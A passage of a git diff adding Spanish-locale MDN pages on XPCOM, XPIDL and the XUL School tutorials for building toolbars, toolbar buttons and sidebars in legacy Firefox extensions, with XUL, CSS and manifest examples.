+    <div class="section"><dl><dt class="landingPageList"><a href="/es/docs/Components.utils.import">Components.utils.import</a></dt><dd class="landingPageList">Este método fue introducido en <a href="es/Firefox_3_para_desarrolladores">Firefox 3</a> y es usado para compartir código entre diferentes alcances(scopes) de forma sencilla. Por ejemplo, puedes importar <a href="es/XPCOMUtils.jsm">XPCOMUtils.jsm</a> para evitar copiar y pegar grandes porciones comunes de código de registración de componentes XPCOM en tus archivos de compomentes.</dd></dl></div>
+    </div><p></p>
diff --git a/files/es/mozilla/tech/xpcom/reference/index.html b/files/es/mozilla/tech/xpcom/reference/index.html
new file mode 100644
index 0000000000..9fcb623f1b
--- /dev/null
+++ b/files/es/mozilla/tech/xpcom/reference/index.html
@@ -0,0 +1,30 @@
+---
+title: XPCOM reference
+slug: Mozilla/Tech/XPCOM/Reference
+tags:
+  - Add-ons
+  - Extensions
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Reference
+---
+<p>This reference describes the interfaces and functions provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM">XPCOM</a> library. In addition, it details the various helper classes and functions, as well as the components, provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a> library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.</p>
+
+<div class="warning">
+<p><strong>WebExtensions are becoming the new standard for creating add-ons. </strong>Eventually support for XPCOM add-ons will be deprecated, so you should begin to investigate porting your add-ons to use the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> API, and <a href="https://mzl.la/webext-feature-needed">report any missing functionality</a> so we can be sure to address your concerns. Work is ongoing on WebExtension capabilities, so your input will help prioritize and plan the work. To learn more about the kinds of changes that will be needed, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a>. In addition, any binaries you use will then need to be converted for use with the WebExtensions <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">native messaging</a> API, or compiled using <a href="https://webassembly.github.io/">WebAssembly</a> or <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>.</p>
+</div>
+
+<div class="note">
+<p>If you're working on a module in the Mozilla codebase that's compiled with the <code>MOZILLA_INTERNAL_API</code> flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Guide/Internal_strings">XPCOM internal string guide</a> for documentation of the internal string API used within the Mozilla codebase.</p>
+</div>
+
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt></dt></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/es/docs/XPCOM_Interface_Reference">XPCOM Interface Reference</a></dt><dd class="landingPageList">This is a reference to the XPCOM interfaces provided by the Mozilla platform.</dd></dl></div>
+    </div><p></p>
+
+<p>Many XPCOM pages return an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Core_functions/nsresult">nsresult</a></code>. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed <code>enum</code> when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.</p>
diff --git a/files/es/mozilla/tech/xpidl/index.html b/files/es/mozilla/tech/xpidl/index.html
new file mode 100644
index 0000000000..c091484d6f
--- /dev/null
+++ b/files/es/mozilla/tech/xpidl/index.html
@@ -0,0 +1,26 @@
+---
+title: XPIDL
+slug: Mozilla/Tech/XPIDL
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+  - xpidl
+translation_of: Mozilla/Tech/XPIDL
+---
+<p>
+</p><p><b>XPIDL</b> es un lenguaje de descripción de interface usado para especificar clases en la interface <a href="es/XPCOM">XPCOM</a>.
+</p><p>Los lenguajes de descripción de interface (IDL, por Interface Description Languages) son usados para describir interfaces independientemente del lenguaje y de la máquina. Los IDLs permiten definir interfaces que pueden luego ser procesadas por herramientas para autogenerar especificaciones de interface dependientes del lenguaje.
+</p><p>Una de estas herramientas es <a href="es/XPIDL/xpidl">xpidl</a>, que es usada para generar archivos de encabezado para C++ (.h), información 'typelib', y mucho más.
+</p>
+<h2 id="Escribiendo_archivos_de_interfaz_XPIDL">Escribiendo archivos de interfaz XPIDL</h2>
+<p>XPIDL se asemeja bastante a <a class="external" href="http://www.omg.org/gettingstarted/omg_idl.htm">OMG IDL</a>, con sintaxis extendida para manejar IIDs y tipos adicionales. Hay algunos ejemplos en la <a class="external" href="http://lxr.mozilla.org/mozilla/source/xpcom/base">xpcom/base</a> y en los directorios <a class="external" href="http://lxr.mozilla.org/mozilla/source/xpcom/ds">xpcom/ds</a> del árbol Mozilla.
+</p>
+<ul><li> <a class="external" href="http://www.mozilla.org/scriptable/xpidl/syntax.html">XPIDL syntax</a> (Desactualizado)
+</li><li> <a href="es/XPIDL/Sintaxis">XPIDL:Sintaxis</a> (XPIDL <a class="external" href="http://en.wikipedia.org/wiki/Extended_Backus-Naur_form">EBNF</a>)
+</li><li> <a class="external" href="http://www.mozilla.org/scriptable/xpidl/idl-authors-guide/index.html">XPIDL Author's Guide</a> (Actualizado en su mayoría)
+</li></ul>
+<h2 id="Recursos">Recursos</h2>
+<ul><li> <a class="external" href="http://www.mozilla.org/scriptable/xpidl/notes/">Algunas notas en desórden</a>, que incluyen una <a class="external" href="http://www.mozilla.org/scriptable/xpidl/notes/keywords.txt">lista de palabras clave (keywords)</a>
+</li><li> <a href="es/XPIDL/xpidl">xpidl</a> es una herramienta para generar encabezados de C++, interfaces de Java, typelibs <a href="es/XPConnect">XPConnect</a>, y documentación HTML desde los archivos XPIDL
+</li></ul>
+{{ languages( { "fr": "fr/XPIDL", "ja": "ja/XPIDL", "en": "en/XPIDL" } ) }}
diff --git a/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_de_herramientas_y_botones_para_éstas/index.html b/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_de_herramientas_y_botones_para_éstas/index.html
new file mode 100644
index 0000000000..efb5adcff9
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_de_herramientas_y_botones_para_éstas/index.html
@@ -0,0 +1,291 @@
+---
+title: Agregar barras de herramientas y botones para éstas
+slug: >-
+  Mozilla/Tech/XUL/Escuela_XUL/Agregar_barras_de_herramientas_y_botones_para_éstas
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Toolbars_and_Toolbar_Buttons
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_menus_y_submenus", "Escuela_XUL/Agregar_eventos_y_comandos") }}</p>
+
+<h2 id="Adding_a_new_toolbar">Adding a new toolbar</h2>
+
+<p>Adding new toolbars to Firefox is easy, but adding them the wrong way is very easy as well.</p>
+
+<p>Toolbars in Firefox are very customizable. Some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging multiple toolbars in the process. Firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest.</p>
+
+<p>The first thing you need to do is add your buttons to the toolbar palette. The <a href="/en/XUL/toolbarpalette" title="en/XUL/toolbarpalette">toolbarpalette</a> is a collection of all toolbar buttons and toolbar items in Firefox, including those added by extensions. To add your buttons, all you need to do is overlay the palette in your main browser overlay.</p>
+
+<pre>&lt;overlay id="xulschoolhello-browser-overlay"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;toolbarpalette id="BrowserToolbarPalette"&gt;
+    &lt;toolbarbutton id="xulschoolhello-hello-world-button"
+      class="toolbarbutton-1 chromeclass-toolbar-additional"
+      label="&amp;xulschoolhello.helloWorld.label;"
+      tooltiptext="&amp;xulschoolhello.helloWorld.tooltip;"
+      oncommand="XULSchoolChrome.BrowserOverlay.doSomething(event);" /&gt;
+    &lt;!-- More buttons here. --&gt;
+  &lt;/toolbarpalette&gt;
+  &lt;!-- More overlay stuff. --&gt;
+&lt;/overlay&gt;
+</pre>
+
+<p>One detail that is easy to overlook is the fact that the <em>toolbarpalette</em> element is outside of the <em>window</em> element. If you put the <em>toolbarpalette</em> element inside the <em>window</em> element in your overlay, some weird errors will begin to happen.</p>
+
+<div class="note">
+<p>Always set the <em>label</em> and <em>tooltiptext</em> attributes of a <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a>. In the case of a <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a> element (discussed later), use the <em>title</em> attribute instead of <em>label</em>. Tooltips are very important for users that want to know what a button does before clicking it.</p>
+</div>
+
+<p>Setting the image for a toolbar button is done with CSS:</p>
+
+<pre>#xulschoolhello-hello-world-button {
+  list-style-image: url("chrome://xulschoolhello/skin/hellow-world.png");
+}
+</pre>
+
+<p>It's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.</p>
+
+<p>The CSS file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file. This is very important because the toolbar customization dialog won't work correctly without this. The way to include the file in the manifest is to add this line:</p>
+
+<pre>style chrome://global/content/customizeToolbar.xul chrome://xulschoolhello/skin/toolbar.css
+</pre>
+
+<p>If you are using XBL bindings (explained way ahead) for your toolbar items, you'll have to include the CSS files for those as well, each in a new line like the one above.</p>
+
+<p>We now have code that adds one or more buttons to the toolbar palette. The user can now use the Customize Dialog to add the buttons to the current Firefox toolbars. In most cases this is not what you want as default behavior, because it would be very hard for the user to discover your buttons. Keep in mind most users don't know how to customize toolbars in Firefox.</p>
+
+<p>Let's add our own <a href="/en/XUL/toolbar" title="en/XUL/toolbar">toolbar</a>. This is done in the overlay as well.</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;toolbox id="navigator-toolbox"&gt;
+    &lt;toolbar id="xulschoolhello-toolbar" toolbarname="&amp;xulschoolhello.toolbarName.label;"
+      accesskey="&amp;xulschoolhello.toolbar.accesskey;"
+      customizable="true" mode="icons" context="toolbar-context-menu"
+      defaultset="xulschoolhello-hello-world-button"
+      insertbefore="PersonalToolbar" /&gt;
+  &lt;/toolbox&gt;
+&lt;/window&gt;
+</pre>
+
+<p>Our toolbar is added as a child of the <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a> element in the main browser window. The toolbox is the collection of toolbars in Firefox, including the main menu bar. Let's look at the attributes we used:</p>
+
+<ul>
+ <li>The <em>toolbarname</em> is the name that will appear on the View &gt; Toolbars menulist. This menu allows hiding and showing any toolbar.</li>
+ <li>The <em>customizable</em> attribute determines if the user can customize the toolbar. You should normally set this to <em>true</em>, unless you have strong reasons not to want users changing your toolbar.</li>
+ <li>The <em>mode</em> attribute is set to <em>icons</em>, which is the usual value. This can be changed in the Customize dialog by the user.</li>
+ <li>The <em>context</em> attribute should also be set if you want a customizable toolbar. It points to the id of a popup element that holds the customization options that are displayed when the user right-clicks on the toolbar. This popup is already part of the main window, so it doesn't need to be implemented again.</li>
+ <li>The <em>defaultset</em> attribute lists the ids of the icons youwant to include on your toolbar by default. It's a comma-separated list of ids, and it can also include other special values: <em>spacer</em>, <em>separator</em> and <em>spring</em>. <em>spacer</em> represents an empty button space, <em>separator</em> a vertical separation line and <em>spring</em> a flexible empty area that stretches.</li>
+ <li>Finally, the <em>insertbefore</em> attribute places our toolbar above the Bookmarks Toolbar. This is a matter of personal preference, but the Mac OS theme seems to be designed so that the Bookmarks Toolbar is always the last one (it has a lighter color than the rest). It also makes sense from a usability perspective, since bookmarks should be very easy to access for the user.</li>
+</ul>
+
+<p>That's it for the basics. With this knowledge you should be able to create simple toolbars and toolbar buttons you can add to Firefox. Now we'll look deeper into the details of toolbars so that you can make <strong>great</strong> toolbars.</p>
+
+<h2 id="Toolbar_buttons">Toolbar buttons</h2>
+
+<p>There are several types of buttons and elements you can add to a toolbar depending on your needs. The <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a> element has the <em>type</em> attribute that allows you to change the behavior of the button in many ways. The <em>menu</em> and <em>menu-button</em> types allow you to create buttons that open popup menus beneath them. See the Back/Forward buttons in the main Firefox toolbar for an example. Menu toolbar buttons are handy when you want to include many options in your toolbar and you don't want it to be too cluttered. The other types, <em>checkbox</em> and <em>radio</em> are useful when you have buttons that change state when the user clicks on them. Read more about this in the <a href="/en/XUL/Attribute/toolbarbutton.type" title="en/XUL/Attribute/toolbarbutton.type">type attribute</a> specification.</p>
+
+<div class="note">
+<p>Keep in mind some users have small screens with low resolution. If you shrink the Firefox window, you'll notice that the content resizes until it reaches its minimum size and begin to be cropped (cut), making UI elements disappear. You should test that your toolbar resizes gracefully and doesn't force Firefox to crop content before it's strictly necessary.</p>
+</div>
+
+<p>When you need something more elaborate than a button in your toolbar, you can use the <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a> element instead. This element is nothing more than a wrapper, so you can have whatever XUL content you want in it. However, you should keep in mind that odd-looking toolbars are likely to confuse and annoy users. Use custom toolbar items sparingly.</p>
+
+<h3 id="Toolbar_button_icons">Toolbar button icons</h3>
+
+<p>Making the icons and CSS rules for toolbar buttons is one of the most difficult tasks when making extensions. It is not too hard to come up with some graphics for the buttons, but it can be hard to make them blend in with Firefox on all operating systems. These are the icon sets for Firefox 3.0 on Windows XP, Windows Vista, Mac OS X and Linux:</p>
+
+<p><strong>Windows XP</strong><strong> and older</strong></p>
+
+<p><img alt="Toolbar-win.png" class="default internal" src="/@api/deki/files/4132/=Toolbar-win.png"></p>
+
+<p><strong>Windows Vista and 7 (Aero)</strong></p>
+
+<p><img alt="Toolbar-aero.png" class="default internal" src="/@api/deki/files/4133/=Toolbar-aero.png"></p>
+
+<p><strong>Mac OS X</strong></p>
+
+<p><img alt="Toolbar-mac.png" class="default internal" src="/@api/deki/files/4134/=Toolbar-mac.png"></p>
+
+<p><strong>Linux (Gnome)</strong></p>
+
+<p><img alt="" class="internal" src="../../../../@api/deki/files/4135/=Toolbar-gnome.png" style="height: 48px; width: 120px;"></p>
+
+<div class="note">
+<p>Note: the images above are probably not distributable under the same CC license, unlike the rest of this material.</p>
+</div>
+
+<p>There are lots of differences there, right? Let's look at the most important ones:</p>
+
+<ul>
+ <li>On Windows, all icons except for the back / forward buttons are 24x24 pixels. The icons are colorful and detailed. On Windows Vista and Windows 7, the icons look shinier, and the predominant color is blue, while on XP the predominant color is green. Most Windows icons have 4 different states, from top to bottom: default, hover, disabled and active. The hover state is set when the mouse pointer is on top of the button and the button is not disabled. The active state is set when the user is clicking on the button. It is usually seen for only an instant, but you can you click and hold on the button to see the active state more clearly. You can't really tell on the white background of this page, but the disabled graphics are semi-transparent. This allows them to blend with whatever color the toolbar background is.</li>
+ <li>On Mac OS X, all icons except for the back / forward buttons are 36x23 pixels. They're all a mixture of grey tones, with very simple graphics in the center. Most only have 3 states: default, disabled and active. Transparency is not used.</li>
+ <li>On Linux, all icons are 24x24 pixels. Since Firefox is a <a class="external" href="http://www.gtk.org/" title="http://www.gtk.org/">GTK</a> application, it uses <a class="external" href="http://library.gnome.org/devel/gtk/stable/gtk-Stock-Items.html" title="http://library.gnome.org/devel/gtk/stable/gtk-Stock-Items.html">GTK icons</a> whenever possible. The icons in the image are the ones that aren't provided by GTK. GTK icons are accessed using special URLs, like this one: <a class="external" rel="freelink">moz-icon://stock/gtk-go-back?size=menu</a>. You can enter this URL in Firefox on Linux, and the corresponding icon will be displayed. The icons have the default and disabled states, and just like on Windows the disabled state is defined using transparency.</li>
+</ul>
+
+<p>Now let's look at the CSS work involved in a toolbar that works on the 4 aforementioned systems. If you want your toolbar to look right on all systems, you should consider having different icon sets for each. You should also consider using a graphic designer for this work, as it takes a lot of attention to detail to make good icons.</p>
+
+<p>You can have a different skin directory for each operating system using Manifest Flags in the chrome.manifest file:</p>
+
+<pre>skin xulschoolhello classic/1.0 jar:chrome/xulschoolhello.jar!/skin/unix/
+skin xulschoolhello classic/1.0 jar:chrome/xulschoolhello.jar!/skin/win/    os=WINNT
+skin xulschoolhello classic/1.0 jar:chrome/xulschoolhello.jar!/skin/winaero/ os=WINNT osversion&gt;=6
+skin xulschoolhello classic/1.0 jar:chrome/xulschoolhello.jar!/skin/mac/    os=Darwin
+</pre>
+
+<p>There is a separate skin directory for each system, with the Unix theme as the default (as most other systems are Unix-based). This makes it easy to keep the themes separate and to make changes to one of them without having to worry about the rest. On the other hand, it is often the case that there are multiple images and CSS sheets that are the same for all systems. For example, your extension logo icon will probably be the same. Having 4 copies of these files can be wasteful, so you may want to have a "common" directory.</p>
+
+<div class="note">
+<p>Image files use the most space in an extension package, by far. Most extensions are a few hundred kilobytes in size or smaller. If your extension is getting too big, you should look into reducing image size.</p>
+</div>
+
+<p>Given the way manifest files work, we have found that the best solution is to have a separate package name for OS-specific skin files.</p>
+
+<pre>skin xulschoolhello classic/1.0 jar:chrome/xulschoolhello.jar!/skin/all/
+skin xulschoolhello-os classic/1.0 jar:chrome/xulschoolhello.jar!/skin/unix/
+skin xulschoolhello-os classic/1.0 jar:chrome/xulschoolhello.jar!/skin/win/    os=WINNT
+skin xulschoolhello-os classic/1.0 jar:chrome/xulschoolhello.jar!/skin/winaero/ os=WINNT osversion&gt;=6
+skin xulschoolhello-os classic/1.0 jar:chrome/xulschoolhello.jar!/skin/mac/    os=Darwin
+</pre>
+
+<p>All we did here is add a new entry for "common" styles that points to the <em>all</em> directory. The OS-specific entries now use a different package name: <em>xulschoolhello-os</em>. Now you just need to be careful about when to use <em><a class="external" rel="freelink">chrome://xulschoolhello/skin/</a></em> and when to use <em><a class="external" rel="freelink">chrome://xulschoolhello-os/skin/</a></em>. It's a bit hacky, but it works well.</p>
+
+<p>As for the image files themselves, you may be wondering why it is that all icons are included in a single file instead of having one file for every state of every icon. One reason is that it would be complicated to manage that many files, and it becomes more likely that changes made to some of the files lead to an inconsistent appearance that is not obvious by looking at the individual files. It is easier to be able to edit all icons in one go. There is also a performance gain from using a single file. To get the region that corresponds to a specific state of an icon, the <a href="/en/CSS/-moz-image-region" title="en/CSS/-moz-image-region">-moz-image-region</a> CSS property is used.</p>
+
+<p>Here are some examples of how the CSS for a <em>toolbarbutton</em> would look like on the 3 major platforms. This assumes that you've set the class<em> xs-hw-toolbarbutton</em> to all of your buttons.</p>
+
+<p>Windows:</p>
+
+<pre>/* The second and third selectors at the bottom are necessary to prevent
+   conflicts with installed themes. */
+toolbarbutton.xulschoolhello-toolbarbutton,
+window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
+toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
+  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
+}
+
+#xulschoolhello-hello-world-button {
+  -moz-image-region: rect(0px, 24px, 24px, 0px);
+}
+
+#xulschoolhello-hello-world-button:not([disabled="true"]):hover {
+  -moz-image-region: rect(24px, 24px, 48px, 0px);
+}
+
+#xulschoolhello-hello-world-button[disabled="true"] {
+  -moz-image-region: rect(48px, 24px, 72px, 0px);
+}
+
+#xulschoolhello-hello-world-button:not([disabled="true"]):hover:active {
+  -moz-image-region: rect(72px, 24px, 96px, 0px);
+}
+</pre>
+
+<p>Mac OS X:</p>
+
+<pre>/* The second and third selectors at the bottom are necessary to prevent
+   conflicts with installed themes. */
+toolbarbutton.xulschoolhello-toolbarbutton,
+window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
+toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
+  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
+}
+
+#xulschoolhello-hello-world-button {
+  -moz-image-region: rect(0px, 36px, 23px, 0px);
+}
+
+#xulschoolhello-hello-world-button[disabled="true"] {
+  -moz-image-region: rect(23px, 36px, 46px, 0px);
+}
+
+#xulschoolhello-hello-world-button:not([disabled="true"]):hover:active {
+  -moz-image-region: rect(46px, 36px, 69px, 0px);
+}
+</pre>
+
+<p>Linux:</p>
+
+<pre>/* The second and third selectors at the bottom are necessary to prevent
+   conflicts with installed themes. */
+toolbarbutton.xulschoolhello-toolbarbutton,
+window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
+toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
+  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
+}
+
+#xulschoolhello-hello-world-button {
+  -moz-image-region: rect(0px, 24px, 24px, 0px);
+  /* Or: list-style-image: url("moz-icon://stock/gtk-some-icon?size=menu"); */
+}
+
+#xulschoolhello-hello-world-button[disabled="true"] {
+  -moz-image-region: rect(24px, 24px, 48px, 0px);
+}
+</pre>
+
+<p>The Windows and Linux themes have several CSS rules that apply by default to all toolbar buttons. These add the button-like look you want. If for some reason you want to override these styles (and we don't recommend doing it), you'll need the following rule:</p>
+
+<pre>-moz-appearance: none;
+</pre>
+
+<p><a href="/en/CSS/-moz-appearance" title="en/CSS/-moz-appearance">-moz-appearance</a> can be used in many cases where you want to strip the native look out of an element. This will save you a lot of time trying to remove all the CSS rules that give the buttons a native look. You'll probably still need to override a couple other CSS rules to get a completely plain look.</p>
+
+<h2 id="The_Customize_Toolbars_Dialog">The Customize Toolbars Dialog</h2>
+
+<p>Firefox has the option to customize its toolbars. We've already mentioned this before, and if you follow our recommendations, then you shouldn't have many problems making your toolbar compatible with the Customize Toolbars dialog. The dialog can be opened from View &gt; Toolbars &gt; Customize..., or by right-clicking on the main toolbar (or any toolbar with the correct <em>context</em> attribute value) and clicking on the Customize option.</p>
+
+<p>Other than what we have stated before, you should take into account the controls at the bottom of the Customize Toolbars dialog. You should test your toolbar buttons and items under all combinations of Icons / Icons and text / Text, Use Small Icons, and hiving your icons in different toolbars. You should also test that the Reset to Defaults button works correctly. Adding elements to your toolbar that are not <em>toolbarbutton</em> or <em>toolbaritem</em> will cause it to fail. Make sure your icons look OK while the Customize Dialog is open, and after clicking on the OK button. If you use XBL bindings, make sure everything works normally after customizing toolbars. All of this is very important to test because, when the dialog is opened, Firefox changes the DOM of the toolbar, adding wrapper elements that allow the customization. This tends to break very specific CSS, and XBL bindings lose their internal state when moved around the DOM.</p>
+
+<h2 id="Adding_toolbar_buttons_to_existing_toolbars">Adding toolbar buttons to existing toolbars</h2>
+
+<p>Finally, there is the very common case where you just want to add one button to the main toolbar. In this case you still need to add the button to the palette using an overlay. In order to add your button to the main toolbar on first run, you'll have to use Javascript code. Keep in mind that you shouldn't assume anything about the location (or presence!) of any specific buttons; remember users could have moved them or removed them altogether. The <a href="/en/Code_snippets/Toolbar#Adding_button_by_default" title="en/Code snippets/Toolbar#Adding button by default">Toolbar Code Snippets</a> page has a code sample you can use to do this.</p>
+
+<p>Remember to validate if your button is already present, to prevent duplicates. It's also a good idea to set a preference that indicates that you added your button already, so that it can be removed permanently if the user chooses to. Another option is to use <a href="/en/Toolkit_API/extIExtension" title="en/FUEL:Extension">FUEL's firstRun</a> property, which also relies on a preference.</p>
+
+<p><strong>Firefox 3</strong></p>
+
+<pre class="brush: js">let extension = Application.extensions.get(YOUR_EXTENSION_ID);
+
+if (extension.firstRun) {
+  // add button here.
+}
+</pre>
+
+<p><strong>Firefox 4</strong></p>
+
+<pre class="brush: js">Application.getExtensions(function (extensions) {
+    let extension = extensions.get(YOUR_EXTENSION_ID);
+
+    if (extension.firstRun) {
+      // add button here.
+    }
+})</pre>
+
+<p><strong>Both</strong></p>
+
+<pre class="brush: js">function firstRun(extensions) {
+    let extension = extensions.get(YOUR_EXTENSION_ID);
+
+    if (extension.firstRun) {
+      // add button here.
+    }
+}
+
+if (Application.extensions)
+    firstRun(extensions);
+else
+    Application.getExtensions(firstRun);
+</pre>
+
+<p>The FUEL library currently only works on Firefox 3 and above.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_menus_y_submenus", "Escuela_XUL/Agregar_eventos_y_comandos") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_laterales/index.html b/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_laterales/index.html
new file mode 100644
index 0000000000..64b2aea74a
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/agregar_barras_laterales/index.html
@@ -0,0 +1,198 @@
+---
+title: Agregar barras laterales
+slug: Mozilla/Tech/XUL/Escuela_XUL/Agregar_barras_laterales
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_sidebars
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}{{ PreviousNext("Escuela_XUL/Agregar_ventanas_y_dialogos", "Escuela_XUL/Uso_de_objetos_en_JavaScript") }}</p>
+
+<p>The sidebar in Firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays. Sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls. You're probably familiar with the Bookmarks and History sidebars. If not, you can open either one from the View &gt; Sidebar menu. They also have shortcuts to open or close them using the keyboard.</p>
+
+<p>The code required to add a sidebar is very simple, as explained in <a href="/en/Creating_a_Firefox_sidebar" title="en/Creating a Firefox sidebar">Creating a Firefox Sidebar</a>. It's even simpler than that. All you need is to overlay the View Sidebar menu.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;menupopup id=<span class="code-quote">"viewSidebarMenu"</span>&gt;
+  &lt;menuitem id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-sidebar"</span>
+    label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.sidebar.title;"</span>
+    accesskey=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.sidebar.accesskey;"</span>
+    type=<span class="code-quote">"checkbox"</span> autoCheck=<span class="code-quote">"<span class="code-keyword">false</span>"</span> group=<span class="code-quote">"sidebar"</span>
+    sidebarurl=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/content/sidebar.xul"</span>
+</span>    sidebartitle=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.sidebar.title;"</span>
+    oncommand=<span class="code-quote">"toggleSidebar('</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-sidebar');"</span> /&gt;
+&lt;/menupopup&gt;</pre>
+</div>
+</div>
+
+<p>The example in the MDC page includes a shortcut key combination to toggle the new sidebar. <a href="/en/XUL_Tutorial/Keyboard_Shortcuts" title="en/XUL Tutorial/Keyboard Shortcuts">Keyboard shortcuts</a> are an essential feature of Firefox, and you can add your own into your extensions, which is also great. The problem is that choosing the right keyboard shortcuts is very, very hard, as <a class="external" href="http://adblockplus.org/blog/shortcut-keys-are-hard">explained by the creator of AdBlock Plus</a>, and the <a class="external" href="http://www.mozilla.org/access/keyboard/">Mozilla Keyboard Reference</a>. To sum up both of these references: you can choose an obscure key combination that won't conflict with Firefox, such as Ctrl+Shift+(some letter), but there's no way of knowing if any other extension uses that same combination as well. Shortcut keys can be very valuable for advanced users, but don't rely on them.</p>
+
+<p>The XUL page for the sidebar can hold any content you want and it's no different from other XUL windows or overlays. One minor difference is that the XUL sidebar should be defined using the <a href="/en/XUL/page" title="en/XUL/page">page</a> root element instead of <em>window</em> or <em>dialog</em>. The load event is fired every time the sidebar is opened, and unload every time it's closed, so you can use those for initialization and clean up .</p>
+
+<p>Another, more important difference to take into account is that users can resize the sidebar to their liking, and in most cases, the sidebar is going to be fairly narrow. You should design the content of your sidebar carefully, so that it is usable and appealing regardless of width. There are ways to limit the size boundaries of your sidebar with CSS or even disable resizing altogether, but none of those are good practices. Forcing sidebars to have a fixed size can cause accessibility and usability problems.</p>
+
+<p>You can still have plenty of content available in your sidebar, you just need to organize it in a way that doesn't take too much space. For this purpose we'll also look at some handy XUL elements in this section. They allow you to stack content on top of other content and switch between different sections easily.</p>
+
+<h2 id="The_tabbox_Element">The tabbox Element</h2>
+
+<p>The <a href="/en/XUL/tabbox" title="en/XUL/tabbox">tabbox</a> element creates a tabbed view of one or more <a href="/en/XUL/tabpanels" title="en/XUL/tabpanels">tabpanel</a> elements. You can see an example of a <em>tabbox</em> element if you open the Firefox Preferences window and select the Advanced section. The tabs are styled to match the operating system you're using, so you should avoid changing the CSS in tab boxes. On the other hand, if you need UI that behaves like a <em>tabbox</em> but doesn't look like one, you should still favor using a <em>tabbox</em> and use CSS to change its look. Using custom-made elements are likely to cause accessibility and functional problems.</p>
+
+<p>Creating a tabbed view is simple:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;tabbox id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-tabbox"</span>&gt;
+  &lt;tabs&gt;
+    &lt;tab label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.mainTab.label;"</span> /&gt;
+    &lt;tab label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.advancedTab.label;"</span> /&gt;
+  &lt;/tabs&gt;
